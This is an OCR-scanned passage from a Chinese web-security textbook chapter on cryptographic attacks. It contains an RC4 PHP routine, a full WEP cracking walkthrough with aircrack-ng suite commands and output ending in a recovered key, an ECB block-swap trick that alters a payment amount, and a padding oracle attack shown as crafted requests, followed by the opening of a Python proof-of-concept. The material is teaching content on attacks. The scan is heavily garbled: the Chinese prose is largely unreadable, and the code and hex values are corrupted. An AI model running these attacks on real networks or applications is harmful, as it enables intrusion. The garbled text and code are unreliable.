$string = Soperation == 'DECODE' ? base64 decode (substr ($string, S$ckey length))
sprintf ('$010d"', $Sexpiry ? Sexpiry + time () : 0) .substr (md5 ($string.$keyb), 0, 16) .$string;

$string length = strlen($string);

Sresult = '';

Sbox = range (0, 255);
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Srndkey = array();
for($i = 0; S$i <= 255; $i++) {

S$rndkey[$i] = ord(Scryptkey[$i % Skey length]);
}

for($j = $1 = 0; $i < 256; $i++) {
S5 = (S + Sbox[Si] + Srndkey[Si]) % 256;
$tmp = Sbox[$1];
Sbox[$1] = Sbox[$7];
Sbox[$]j] = Stmp;
}

//$xx = ''; // real key
for($a = $j = $1i = 0; $i < $string length; S$i++) {

Sa = (Sa + 1) % 256;
$3 = ($3 + Sbox[$al) % 256;
Stmp = Sbox([$al;
Sbox[$a] = Sbox[$]];
$box[$]] = Stmp;
//$xx .= chr (Sbox[ ($box[$a] + Sbox[$7]) % 256]);
Sresult .= chr(ord($string[$i]) ~ ($box[ (Sbox[S$Sa] + S$box[$j]1) % 256]1));
}
//echo "xor key is: ".hex ($xx)."\n";
if (Soperation == 'DECODE') {
if ((substr ($Sresult, 0, 10) == || substr ($result, 0, 10) - time() > 0) &&
substr ($result, 10, 16) == substr (md5 (substr ($Sresult, 26).$keyb), 0, 16)) {
return substr (Sresult, 26);
} else {
return '';
}
} else {
return Skeyc.str replace('=', '', base64 encode (Sresult));
}
}
?>
EATE AR

R 16 #)5, LT 19295 NAFR XOR KEY, 3] TAHFEI) IV, AR B3,
11.3 WEDP TEfiR

TR I S A7 AE “Reused Key Attack” F1 “Bit-flipping Attack ” 2 Ur i J5 3o 1148 B 52
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o, Rl A B R B () ek v RE e WEP SR . WEP &Rl i o2k
L4, BT WEP FI%54H, st DAL B IE BTG 2 1Y Access Point. WEP K RC4 5.
%5, WAAEX WA I 5

|
CREEas | HERERE

B BIFTFEETIR BEE FARTHEE LSS AR TERE SRR REEER .

2 AEER DA ER
Bk

TERETH » iREE IR .

RS
i) THRESEE

oy B EEREERINE

o EREERE

ﬁﬁ@]l
Windows #§:4E 5 GEIERET0 LR 0 2% (1 106 7

WEP 7Efis ik fe, A RBENE, RIS E IV, RN CRC-32
8o MK P AR AT LA 28 E v

IV LABISCHIB AR %, ¢ WEP FURH 24bit 1 TV, (HIKILSEARRIKH—AME. B
ANEITI AP, LA 11Mbps [f38 E 32% K78k 1500bytes 49, T 1500%8/(11%107°6)*2424 = ~18000
BB, 29200 5 AN, B2 5 AN, TV SR, AEATFREILESK IV, 75561
mrb, AN 1500bytes Koy, PRI A4 5%

IV —HIFRES, 2 fifd “Reused Key Attack” [ A I GE o [r] i 3 ik st 4 K i B a4,
FRBVMFER TV, FiE AR K CRC-32 KEHGAE, thnl LA Zhsii “Bit-flipping Attack”

2001 4% 8 H, ffi WEP [EHE A3 04T T . Berkly [1J Nikita Borisov, Ian Goldberg A A
David Wagner L[58 5 T — R R EFAIIE SC: “Security of the WEP algorithm®”,  JLA A A T
WEP fili fift (f 2118 S

SRR R WEP F D BRI AR 22 —1%,  Aircrack SEIL T X —id %,

e IMEH bR,

root@segfault:/home/cg/eric-g# airodump-ng —-bssid 00:18:F8:F4:CF:E4 -c 9 ath2 -w eric-g
CH 9 ][ Elapsed: 4 mins ][ 2007-11-21 23:08

2 http://www.isaac.cs.berkeley.edu/isaac/wep-faq.html
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BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:18:F8:F4:CF:E4 21 21 2428 26251 0 9 48 WEP WEP OPN eric-G
BSSID STATION PWR Lost Packets Probes

00:18:F8:F4:CF:E4 06:19:7E:8E:72:87 23 0 34189

Btb b5 H AR T

root@segfault:/home/cg/eric-g# aireplay-ng -1 600 -e eric-G -a 00:18:F8:F4:CF:E4 -h
06:19:7E:8E:72:87 ath2

22:53:23 Waiting for beacon frame (BSSID: 00:18:F8:F4:CF:E4)
22:53:23 Sending Authentication Request
22:53:23 Authentication successful
22:53:23 Sending Association Request
22:53:24 Association successful :-)
22:53:39 Sending keep-alive packet
22:53:54 Sending keep-alive packet
22:54:09 Sending keep-alive packet
22:54:24 Sending keep-alive packet
22:54:39 Sending keep-alive packet
22:54:54 Sending keep-alive packet
22:55:09 Sending keep-alive packet
22:55:24 Sending keep-alive packet
22:55:39 Sending keep-alive packet
22:55:54 Sending keep-alive packet
22:55:54 Got a deauthentication packet!
22:55:57 Sending Authentication Request
22:55:59 Sending Authentication Request
22:55:59 Authentication successful
22:55:59 Sending Association Request
22:55:59 Association successful :-)
22:56:14 Sending keep-alive packet

***KEEP THAT RUNNING

B0 AR
root@segfault:/home/cg/eric-g# aireplay-ng -5 -b 00:18:F8:F4:CF:E4 -h 06:19:7E:8E:72:87
ath2

22:59:41 Waiting for a data packet...
Read 873 packets...

Size: 352, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:18:F8:F4:CF:E4
Dest. MAC = 01:00:5E:7F:FF:FA

Source MAC = 00:18:F8:F4:CF:E2

0x0000: 0842 0000 0100 5e7f fffa 0018 f8f4 cfe4 .B...." ........

0x0010: 0018 £8f4 cfe2 cO0b5 121a 4600 0el8 0f3d .......... F....=
0x0020: bd80 8c4l de34 0437 8d2d c97f 2447 3d81 ...A.4.7.-. $G=.
0x0030: 9bdc 68da 06b2 18be 9cd6 9cb4 9443 8725 ..h.......... C.%
0x0040: 87f6 9ald4 1ff9 Ocfa bd36 862e ecb54 7215 ......... 6...Tr.
0x0050: 335b 4a91 déa4 caae 5ab58 a736 6230 87d9 3[J..... ZX.6b0. .
0x0060: 4eld4 7617 21c6 edad 9b0d 3a00 O0b4f 47ab N.v.!.....:..0G.

0x0070: a529 dedf 4cl3 880c ale6 37f7 50e6 599c .)..L..... VoPo¥o
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0x0080: Oad4c Ob7f 24ae b019 ef2f 36b9 c499 8643 .L. $..../6....C
0x0090: 6592 5835 23e5 c8e9 dlb9 3d36 1fe5 ecfe e.X5#..... =6....
0x00a0: 510b 51ba 4fed e2ed d33b 0459 cab8 82b8 Q.Q.0....;.Y.h..
0x00b0: c856 ea70 829f c753 1614 290e d051 392f .V.p...S..)..Q9/
0x00c0: fa65 cbc6 c5f8 24bl cdbd 94e5 08c3 2dd4 .e....S$....... -.
0x00d0: 6ed4b 983b dc82 b2cd b3fl dab5 b816 6188 nK.;.......... a.
=== CUI ===

Use this packet ? y

Saving chosen packet in replay src-1121-230028.cap
23:00:38 Data packet found!

23:00:38 Sending fragmented packet

23:00:38 Got RELAYED packet!!

23:00:38 Thats our ARP packet!

23:00:38 Trying to get 384 bytes of a keystream
23:00:38 Got RELAYED packet!!

23:00:38 Thats our ARP packet!

23:00:38 Trying to get 1500 bytes of a keystream
23:00:38 Got RELAYED packet!!

23:00:38 Thats our ARP packet!

Saving keystream in fragment-1121-230038.xor

Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

DU i ARP .

root@segfault:/home/cg/eric-g# packetforge-ng -0 -a 00:18:F8:F4:CF:E4 -h
06:19:7E:8E:72:87 -k 255.255.255.255 -1 255.255.255.255 -w arp -y *.xor
Wrote packet to: arp

Fob: A CK ARP .
root@segfault:/home/cg/eric-g# aireplay-ng -2 -r arp -x 150 ath2
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:18:F8:F4:CF:E4

Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 06:19:7E:8E:72:87

0x0000: 0841 0201 0018 f8f4 cfed 0619 7e8e 7287 .A.......... oI
0x0010: ffff ffff ffff 8001 1fla 4600 c9d3 eb5e7 .......... Fooooo
0x0020: d65a 6a63 0b51 bb60 8390 aB8b4 947d 456f .Zjc.Q. ..... }Eo
0x0030: 3a05 25b2 7464 7db7 c49b d38a £789 822c :.%.td}........ ;

0x0040: 83a8 93c5
Use this packet ? y
Saving chosen packet in replay src-1121-230224.cap

LAV ARSI =117

cg@segfault:~/eric-g$ aircrack-ng -z eric-g-05.cap
Opening eric-g-05.cap

Read 64282 packets.

# BSSID ESSID Encryption

1 00:18:F8:F4:CF:E4 eric-G WEP (21102 IVs)
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Choosing first network as target.

Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 21397 ivs.

Aircrack-ng 0.9.1

[00:00:11] Tested 78120/140000 keys (got 22918 IVs)

KB depth byte (vote)
0 3/ 5 34( 111) 70( 109) 42( 107) 2C( 106) B9 ( 106) E3( 106)

1 1/ 14 34( 115) 92( 110) 35( 109) 53( 109) 33( 108) CD( 107)
2 6/ 18 91( 114) E7( 114) 21( 111) OE( 110) 88( 109) C6( 109)
3 2/ 31 37( 109) 80( 109) 5F( 108) 92( 108) 9E( 108) 9B( 107)
4 0/ 2 29( 129) 55( 114) AD( 112) 6A( 111) BB( 110) C1( 110)
KEY FOUND! [ 70:34:91:37:29 ]

Decrypted correctly: 100%

REAKIIWE T WEP (¥ KEY, ATLLG i 1!

11.4 ECB {&I\BVERFE

H TSR] T 0 s Sk rp i LR WL Bk vk, feardlimss Sk, g —L2en]
REp Mk R R 7 o R TT e AN SRR S8 ) 3L, AT AT B I LAl s 5k, SEk
wARE,

XIF o d s ok v, BREFEARL, 2l H &, ANE NS Sk s2
FERBE LRI . w5 L #6447 : ECB. CBC. CFB. OFB. CTR %, 215 jiss b
KM, MANRIMEFILNZHE 2K, TR %4,

ECB #ia R A ) SRy ip i — Pl #4852, & mMRAS 4l [RARR AT, o
TR

Plaintext Plaintext Plaintext
HEEEE [T
T T T
Block Cipher Block Cipher Block Cipher
Key —=  Enpcryption Key —=| Encryption Key —=  Encryption
r v r
[TTTTTT] [TTTT RN EEE NN
Ciphertext Ciphertext Ciphertext

Electronic Codebook (ECB) mode encryption

B ECB i R i i A 2 AT 0 AL S e TGl U SR 7 4L i
3, AR RE S, FTA I ST o 28 0 R Y o
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ECB #52CAT AAZ 6 S sl ST

IAEINT

ecb mode.py:
from Crypto.Cipher import DES3
import binascii

def hex s(str):

re = "'
for i in range(0,len(str)):
re += "\\x"+binascii.b2a hex(str[i])

return re

key = '1234567812345678"

plain = 'aaaabbbbaaaabbbb'

plainl = 'xaaabbbbaaaabbbb'

plain2 = 'aaaabbbbxaaabbbb'

o = DES3.new(key, 1) # arg[l] == 1 means ECB MODE
print "1 : "+hex s(o.encrypt(plain))

print "2 : "+hex s(o.encrypt(plainl))

print "3 : "+hex s(o.encrypt(plain2))

I3 Z B SCHRAT 3-DES I, AR ah R

[root@vps tmp]#python ecb mode.py

1 \xab\xf1\x3a\x33\x59\x35\x3b\x07\xab\xf1\x3a\x33\x59\x35\x3b\x07
2 : \x32\xdl\xe9\x5a\x49\x0f\xfe\x80\xab\xf1l\x3a\x33\x59\x35\x3b\x07
3 \xab\xf1\x3a\x33\x59\x35\x3b\x07\x32\xd1\xe9\x5a\x49\x0f\xfe\x80

B A A plain HIMH:

aaaabbbbaaaabbbb

3-DES #4100 8 D711, I SC e Ay P AL -

aaaabbbb
aaaabbbb

plain XY [R5 S0 -
\xab\xf1\x3a\x33\x59\x35\x3b\x07\xab\xf1\x3a\x33\x59\x35\x3b\x07
W JLBE Sy AL

\xab\xf1\x3a\x33\x59\x35\x3b\x07
\xab\xf1\x3a\x33\x59\x35\x3b\x07



238  FET Y Web %4

AL IR W S e s S 4 21 1 [RDAE £ S

P& plainl, &5 plain AR —FN FAEEZE R

xaaabbbb
aaaabbbb

TN i R B SN«

\x32\xd1\xe9\x5a\x49\x0f\xfe\x80
\xab\xf1\x3a\x33\x59\x35\x3b\x07

X plain N5 %S, ATRLE R, AU block 1 1% AR, i block 2 [ 3 A 5¢
—FEM . a2, block 1 FA 50 F] block 2 )45 K .

XN (CBC) 58 AN HK, B i 43 480 5 2 0] 2 AT SCEL,
—ANEATARAY,, 2 SRS SC R AEARY . X S AT DUR T I SR S S ] ECB R
AN

HEFR plain2, %O RE, ‘5 plainl X T AN 2045 3«

aaaabbbb
xaaabbbb

plain2 % 5 A)# 50, FLATRWIESE plain] FR)%8 SO 7 21 85 SCH) 45 2R -

\xab\xf1\x3a\x33\x59\x35\x3b\x07
\x32\xd1\xe9\x5a\x49\x0f\xfe\x80

PIEGAE T2 A hie: ST ECB AR, B HF LIRS # Ja K8
ST BHRFEADHES, RGN N AR B S g B, AL AAZ .

RORARFAERR, BOIEAEL ST, ) B AL 3 SO N R S -

member=abc| |pay=10000.00

HAHr 16 NFEA A

member=abc | |pay=

KAESFRE A BN AL, RIS U 2] “1.007 (#9350, 4k “10000.00”
(5 3, RIVATOh 38 SOAT @i 10000 JG2 1 JG. AESEPRBLdirf, Bodi s ml LB S 5e 54
1 JCih, SRR 1.00 IOE 30, RXIFARARAR INAE RS .

ECB s, FFAREA I Sk i, kB sl AES-256 S50k, KAl
M7 ECB 8, WGifutting . soh, ECB BIAXAIRSA A W SCIGHRAE, PIkdE Sy
NEZ RO, HREEaAr e — 2L, WF:
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plaintext ECB chained modes
ECB #:05 CBC 26t L sk

ECB BiAUJFARTEERF T AN KR, P42 %2 n, iR ik SR EE R,
171 R U SBE s 7 e )

HFEMFRALE T—AHRKER, SRR ECB 8K, 1 i HA 5 hn %
SR .

11.5 Padding Oracle Attack
{£ Eurocrypt 2002 K4 I, Vaudenay /48 T 4%} CBC 53] “Padding Oracle Attack”. "]
DIAEA A ZAHE DL R, X padding bytes 2208, 1850 SC, B R IE HAT 2 B S5 5C .

7 2010 4E 1) BlackHat BXI k2> F, Juliano Rizzo 5 Thai Duong® /44 T “Padding Oracle”
FESERR Bt ], JEAA T ASPNET f74E(¥) Padding Oracle [jf*. 7£ 2011 #F[f) Pwnie
Rewards’™', ASPNET [{JIX/MRBEVE A S LMK IR 55 2 v s T 7o

Tk & E Padding Oracle [ 2E, 7ELLL DES 4.

O3 U N B SRR SN /AR R ) i BT R4 T 43 41 (block ), block FR/INE WLIKA 64bit.
128bit. 256bit 5. DL CBC B A, FESEBLhn s il f RS F

Plaintext Plaintext Plaintext
CIITTTTT] (TITTTTT] CIITTTTT]
v v v
N — @ —,® —’69

Key —| Encrypt Key —| Encrypt Key —| Encrypt

S S

Ciphertext Ciphertext Ciphertext

3 http://netifera.com/research/
4 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3332

5 http://pwnies.com/winners/
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TEIXASRE T, WS L B KB AT A ) block IR/, TR B — 465
A5, BRRA padding. LA 8 DA block Hyfil:

Lean Bl S0 FIG, KEA 3 A5, WIER 51 dEH 78 T 0x05,0x05,0x05,0x05,0x05 3X
SAFHIE Y, A E N IMES TR EIHR N E KR . SR ERIL A 8 AN 1T, -
PLANTAIN, WJJ5 24878 8 AN 751 padding, AR N 0x08. XFHEFE ik, A6 LA
W UL PKCSH#S didE.

BLOCK #1 BLOCK #2
4
Ex1 ¥ T c |
Ex 1 (Padded) F T G | ox05 | 0x05 | ox05 | 0x05 | oxos
Ex2 B a N a N a |
Ex 2 (Padded) B a H L N 2 | oxn2 | ox02
Ex3 a v o C a D o |
Ex 3 (Padded) A v o c a bl o | ox01
Ex4 B L a n T 2 e N
Ex 4 (Padded) P L a N T 2 b N | ox08 | 0x08 | 0x08 | 0x08 | 0x08 | 0x08 | 0x08 | Ox08
Ex5 P a s s I o N F R u I T
Ex 5 (Padded) b a s = I o n F R u I T | ox04 | 0x04 | 0x04 | 0xD4

PKCS#5 A8 M R n = K
RBEHA A
BRIAN;12;2;
25k DES I (CBC ) J&, HZE0h:
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6

BOCKH T ASCIL - NBEHI R T5E, BIPAS PAFRoR— A P I db K. R s
BEAT 34, SO 8 AR AIAR L R TV .

INITIALIZATION VECTOR BLOCK 1 of 2
Piain-Text - - - - - - - - s = t a u : 1 z
Plain-Text (Padded - - - - - - - - B ] T A ] : 1 F] : 1 : | w05 | 0205 | ex05 | ex05 | 0x05

Encrypted Value (HEX) | tx78 | 0x21 | oxfA | 0263 | 0x4% | 0xS1 | 0xl7 | CxOF | 0xF3 | €x51 | 02D6 | 0x0C | Cx6B | 0xFC | 0x35 | 0237 | 0x35 | Cx37 | 0x95 | 0xh2 | CxBE | xD4 | coch | 0xD6

WL E Dy 24 /S50, ATLURERR 8 T ANRERERR 16, DRI mT AR PP 20 2 R EE T
A 8 AT

Hohns T
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Initialization Vector 0x7B | 0x21 | Ox6A | Ox63 | Ox49 | 0x51 | 0x17 | DxOF —P | 0xF8 | 0x51 | 0xD6 | OxCC | Ox68 | OxFC | 0x95 | 0x37
|l DD S| D D|D G| e|S D D|D| D D

Plain-Text (Padded) B R I ES N g 1 2 g 1 2 0x05 | 0x05 | Ox05 | 0x05 | Ox05
b 4 2 b L 2 2 b v 4 v b 4 4 b L

Intermediary Value (HEX) | 0x33 | 0x73 | 0x23 | 0x22 | 0x07 | Ox6A | Ox26 | Dx3D 0xC3 | 0x60 | OxED | OxCY | Ox6D | 0xFS | 0x50 | 0x32
2 + v 2 ] + + ¥ ¥ + + 2 + 4 2 v

( TRIPLE DES TRIPLE DES |
b 4 2 b L 2 2 b v 4 v b 4 4 b L

Encrypted Output (HEX) | 0xF& | 0x51 | 0xD6 | 0xCC | Dx68 | OxFC | 0x95 | Dx37 | == 0x85 | 0x87 | 0x95 | 0xA2 | OxBE | 0xD4 | OxAA | OxC6

FaaAe B IV 53 XOR Ja, SRR M RS v, 104 2.

RN, LR T

Encrypted Input (HEX) | 0xF& | 0x51 | 0xD6 | OxCC | Ox68 | 0xFC | 0x35 | Ox37 0xB5 | 0x87 | 0x55 | 0xAZ | Ox8E | 0xD4 | OxAA | 0xC6
v V] ¥ v v + + v V] v V] ¥ v v + +
( TRIPLE DES ] ( TRIPLE DES ]
e L L L b L L L L L L L L b L L
Intermediary Value (HEX) | 0x2% | 0x73 | 0x22 | 0x22 [ 0x07 | Ox6a | Ox26 | Ox3D 0xC3 | 0x60 | 0xED | 0xC9 | Ox6D | OxFS | 0x590 | 0x32
| D D | D DB | D DB D L DD D DD DD
Initialization Vector 0x7B | 0x21  Ox6A | 0x63 | 0x43 | Ox51 | 0x17 | OxOF 0xF8 | 0x51 | 0xDE | OXCC | Ox68 | OxFC | 0x95 | Dx37
¥ ¥ ¥ + v ¥ + ¥ ¥ v v ¥ + v ¥ +
Plain-Text (Padded) B R T A H & 1 2 & 1 n/xn-; 0x05 | 0x05 | Ox05 :;;
— | —1

VALID PADDING

FEMRSE IR, W5 1M padding AN IER, S RETP A S 5% (padding error).
T A N AR R i, Beeh i A4 T LA HY padding A2 75 IE A

FTLL Padding Oracle SEZfr [ —MulifE BB, O Fas BANE % S a5 e A 1F
RN A], XA T EE.

EblnifE Web W, a2 padding AN IEAfG, N FHFR PR vl e iR Bl 500 FHS R a1
padding A, {HMES RN AR IERM, WTEESIRM 200 ) H @ AR B4, PL—
e ], K TV A 8 AN 0 E

Request: http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537

Response: 500 - Internal Server Error

WIS AE R 2515 padding & AN TERGIT o
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Encrypted Input 0xF8 | 0x51 | 0xD6 | OxCC | Ox68 | OxFC | 0x35 | 037

TRIPLE DES
& & L + & + + &

Intermediary Value 0x39 | 0x73 | 0x23 | 0x22 | 0x07 | OxEa | 0x26 | Ox3D

QDD D|D|D|D|D

Initialization Vector 0x00 | Ox00 | OxO0 | OxDO | 0x00 | Ox00 | Gxd0 | OxO0

P——
Decrypted Value 0x33 | 0x73 | 0x23 | 0x2Z | 0x07 | Ox6a | 0xZ6 ux:u:l)
1

INVALID PADDING

1EAf#) padding i M AT HE A -

1 A7) padding 3 0x01

2 NFEATHY padding & 0x02,0x02

3 ANFATY padding ) 0x03,0x03,0x03

4 A5 padding & 0x04,0x04,0x04,0x04

RIUE PR IS4 IV (MR, DA MG, 5o — A1 A IEAA ) padding byte, Lhini—
A~ 0x01 .

Request: http://sampleapp/home.jsp?UID=0000000000000001F851D6CC68FCI537
Response: 500 - Internal Server Error

BRIV

Encrypted Input 0xF@ | 0x51 | 0xD6 | OxCC [ Ox68 | DxFC | 0x95 | Ox37

e e e R R R & R

( TRIPLE DES ]
A R R O D T e

Intermediary Value 0x39 | 0x73 | 0x23 | 0x22 [ OxD7 | Oxba | Ox26 | 0x3D

D DB D | D|B|D|D

Initialization Vector 0x00 | 0x00 | Ox00 [ 0x00 | 0x00 | Ox00 | Ox00 [ Ox01

e e e e S + & W

| —
Decrypted Value 0x33 ( 0x73 | 0x23 | Ox22 | Ox07 | Oxfa | Ox26() 0x3C x
— |

INVALID PADDING

4 Intermediary Value J& [ 5 /) (FRATHEIN AHNIE Intermediary Value FI{EJE 2/, Ptk
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M 0x00 F| OxFF 2 [a], HA[fgf— Ml Intermediary Value (15— 1727 XOR &,
SE0UE 0x01, 8 X 255 AME, W LARH IV T B — A7 1

Request: http://sampleapp/home.jsp?2UID=000000000000003CF851D6CC68FC9537
Response: 200 OK

Block 1071

Encrypted Input 0xF@ | 0251 | 0xD6 | 0XCC | 0x68 | OXFC | 0x95 | 0x37

& + A+ & & R b b

( TRIPLE DES
+ b + & &+ & & s

Intermediary Value Dx39 | 0x73 | 0x23 | 0x22 | 0x07 | Ox6a | Ox26 | O30

Q| D D|D|D|D|D|D

Initialization Vector 0200 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 [ 0x00 | 0x3C

+ + + + + + + &
L—
Decrypted Value 0239 | 0273 | 0223 | 0x22 | 0x07 | Ox6a | 0x26( Ox01 /

VALID PADDING

1t XOR =5, v LLE FHES I Intermediary Byte [F1H :

If [Intermediary Byte] »~ 0x3C == 0x01,
then [Intermediary Byte] == 0x3C »~ 0x01,
so [Intermediary Byte] == 0x3D

Ml kA A I i piaa i & IV 580037 XOR 25458 T Intermediary Value,
BB RIA 75 20 f Intermediary Byte: 0x3D 5 EL52 IV {f o — A7 0xOF 347 XOR ia%, BE
G ELE

0x3D ~ 0x0F = 0x32

0x32 & 2 [ F/NiEHIE, IEaF 2 !
TEIERAULAL T padding  “0x01” J5, 77 LM 24824 T Hi ) T 1) Intermediary Byte. #i
P& padding [FIFRUE, T2 padding A0, HAENZA 0x02, 0x02. TMEAICLHIE T

i — Intermediary Byte 24 0x3D, PRt n] ELHEHT IV BIEE 8 AN5-71524 0x3D ~ 0x02 = 0x3F,
BEIN AT LATFaR3 J) IV (58 7 D575 (0x00~0xFF).

Block 1 of1

4 &

Encrypted Input 0xF6 | 0x51 | 0xD6 | OxCC | Ox68 [ OxFC | 0x35 | 0x37

W + & & - + W +

[ TRIPLE DES ]
& & & & w ¥ * v

Intermediary Value 0x39 | 0x73 | Ox23 | Ox22 | Ox07 | Oxfa | Ox2E | DxID

S| B D |B|B|B|E|D

Initialization Vector 0x00 | 0x00 | 0x00 | 0x00 | 0x00 ( 000 | 0x00 | Ox3F

+ & + & + + + L
| —t
Decrypted Value 0x3% | 0273 | 0x23 | 0x22 | Ox07 | Oxfal] 0x2e | 0x02 )

INVALID PADDING
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Tk T LAS TV RS 7 AT 0x24, 4R [F) Intermediary Byte S4 0x26.

Encrypted Input 0zF8 | 0x51 | 02D | 0aCC | 0x£8 | 0xFC | 0x95 | 0x37

[ TRIPLE DES ]
+ + A+ * + & & &

|I'I[0I"I'I'|ed|a|‘yl‘.fﬂ1ue Dx29 | Ox73 | 0x23 | Ox22 | Ox0T | Ox6a | Ox3E | Ox3D

G| B D|D|D|D|B|D

Initialization Vector D200 | 0x00 | 0x00 | 000 | 0x00 | 0X00 | OxZ4 | OX3F

+ ¥ b & ¥ + + &
Decrypted Value | 0x39 | 0273 | 0x23 | 0x22 | 0207 | 0x26] 0m02 | 0x02 ) /

i ——

VALID PADDING

W EHE, P LAHES T A 1 Intermediary Byte.

1 r 3 4 5

Encrypted Input OxF8 | Ox81 | D06 | OCC | Ox6E | 0xFC | Ox98 | 0237

L v b R & L A b

( TRIPLE DES ]
N R I R R I

+
Intermediary Value 0x39 [ Ox73 | 0x23 | 0x22 | 0x0T | Oxa [ Dx26 | Ox3D

G| B | D|D|D|B|D

Initialization Vector 0x31 | DxTE | DxZE | Ox2A | 0xOF | 062 | OxIE | Ox35

b e o+ + + L e e
Decrypted Value C__l_:::_::_ o203 | ox0s | owoe | oxoe | oxos | oxos EDJ

VALID PADDING

313 Intermediary Value J&, 1HId5FEKK IV #H17 XOR B85, BIn[#E R . fEXA Rk
FEdr, AAUHE) 7% SO IV, 0 padding IS, RIS B SC, AN 225008 % P12
12 1 IV HFATFELE, e SO URE R .

{7l 3 Padding Oracle {755 SCREME iR AT B SCWE 2 SR il ol iy 1 rry i o ik A% m
DL, W8 1V, o] DU R IR . A &3k 43 T Intermediary Value [¥1#5 50
T, AR AT Lol it XOR s HAF 2 v LUAE AT R S TV .

Encrypted Input 0=FE | Ox51 | 0206 | 0xCC | 0x68 | DXFC [ 0255 | 0x37

[ TRIPLE DES |
N R N N I B

Intermediary Value | 0233 | 0x73 | 0223 | 0222 | 0207 | Dx6a | 0226 | 0x3D
| @ @ D D B B S

Initialization Vector 0xED | Ox36 | 0x70 [ 0x7TE | 0x03 | Ox6E | Ox22 | Ox3d

+ + R + + + + +
I —t
Decrypted Value qi] E s T | 0x0a | 0204 | 0xpg __'1__‘”_3..)/
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AT 2 A AN SORBE, MtseJa— 48 SO IntETHE. LOA o061, 5 A rd
I IV 58— AN 4103 3C Ceipher text), PRSI 2R AN 4L IV IR, ik v
AR — DN ARSI, PR THES

BLOCK 10f2 BLOCK 2 of 2
4 5
Encrypted Input (HEX) 0xF8 | 0x51 | 0xD6 | OxCC  Ox68 | OxFC | 0x95 | 0x37 0x85 | 0x87 | 0x95 | OxAZ | UxSBE | 0xD4 | 0xAA | 0xCE
v v v + ¥ ¥ + + + + + v v + v v
( TRIPLE DES ) ( TRIPLE DES ]
b b + 4 ¥ ¥ 4 4 4 4 4 $ ¥ € b +
Intermediary Value (HEX) | 0x33 | 0x73 | 0x23 | 0x22 | 0x07 | Ox6a | 0x26 | 0x3D OxC3 | 0x60 | OxED | 0xC39 | 0x6D | 0xF9 | 0x30 | 0x32
Initialization Vector 0x7B | 0x21 | Ox6A | Ox63 | 0x49 [ 0x51 | Ox17 | OxOF 0xF8 | 0x51 | 0xD6 [ OxCC | Ox68 | OxEC | 0x35 [ 0x37
¥ v v v v v v v v v v v v ¥ ¥ v
Plain-Text (Padded) P O e O T I T s || s | e | v || s | s
‘—1___ [

2 3 LIRS SCAT LUK ISAE, iy B AT Sk S il AR RIS T

Brian Holyfield® 528 T MY padbuster’ ] T.5, #J L A Zh52) Padding Oracle Bidi. £#
W SZHL T — > AL Padding Oracle w7~ T E, LIBES®, SR

Padding Oracle Attack POC (CBC-MODE)
Author: axis(axis@ph4ntOm.org)
http://hi.baidu.com/aullik5

2011.9

This program is based on Juliano Rizzo and Thai Duong's talk on
Practical Padding Oracle Attack. (http://netifera.com/research/)

For Education Purpose Only!!!

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

import sys

6 http://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html
7 https://github.com/GDSSecurity/PadBuster
8 http://hi.baidu.com/aullik5/blog/item/7¢769d2ec68b2d241f3089ce.html



246  FMETYE Web %4

# https://www.dlitz.net/software/pycrypto/
from Crypto.Cipher import *
import binascii

# the key for encrypt/decrypt

# we demo the poc here, so we need the key

# in real attack, you can trigger encrypt/decrypt in a complete blackbox env
ENCKEY = 'abcdefgh'

def main (args) :

print

print "=== Padding Oracle Attack POC(CBC-MODE) ==="
print by axis ==="

print "=== axis@ph4ntOm.org ==="

print "=== 2011.9 ==="

print

#EEE R H AR AR A R A
# you may config this part by yourself
iv = '12345678"'

plain = 'aaaaaaaaaaaaaaaaX'

plain want = "opaas"

# you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2
cipher = "blowfish"
T

block size = 8
if cipher.lower () == "aes":
block size = 16

if len(iv) != block size:
print "[-] IV must be "+str(block size)+" bytes long(the same as block size)!"
return False

print "=== Generate Target Ciphertext ==="

ciphertext = encrypt (plain, iv, cipher)
if not ciphertext:

print "[-] Encrypt Error!"

return False

print "[+] plaintext is: "+plain

print "[+] iv is: "+hex s (iv)

print "[+] ciphertext is: "+ hex s (ciphertext)
print

print "=== Start Padding Oracle Decrypt ==="
print

print "[+] Choosing Cipher: "+cipher.upper ()
guess = padding oracle decrypt (cipher, ciphertext, iv, block size)

if guess:
print "[+] Guess intermediary value is: "+hex s(qguess["intermediary"])
print "[+] plaintext = intermediary value XOR original IV"
print "[+] Guess plaintext is: "+guess["plaintext"]
print

if plain want:
print "=== Start Padding Oracle Encrypt ==="
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print "[+] plaintext want to encrypt is: "+plain want
print "[+] Choosing Cipher: "+cipher.upper ()

en = padding oracle encrypt (cipher, ciphertext, plain want, iv, block size)

if en:
print "[+] Encrypt Success!"
print "[+] The ciphertext you want is: "+hex s(en[block size:])
print "[+] IV is: "+hex s(en[:block size])
print
print "=== Let's verify the custom encrypt result ==="
print "[+] Decrypt of ciphertext '"+ hex s(en[block size:]) +"' is:"
de = decrypt (en[block size:], en[:block size], cipher)
if de == add PKCS5 padding(plain want, block size):
print de
print "[+] Bingo!"
else:
print "[-] It seems something wrong happened!"

return False

return True
else:
return False

def padding oracle encrypt (cipher, ciphertext, plaintext, iv, block size=8):
# the last block
guess_cipher = ciphertext[0O-block size:]

plaintext = add PKCS5 padding(plaintext, block size)
print "[*] After padding, plaintext becomes to: "+hex s(plaintext)
print

block = len(plaintext)
iv _nouse = iv # no use here, in fact we only need intermediary
prev_cipher = ciphertext[0O-block size:] # init with the last cipher block
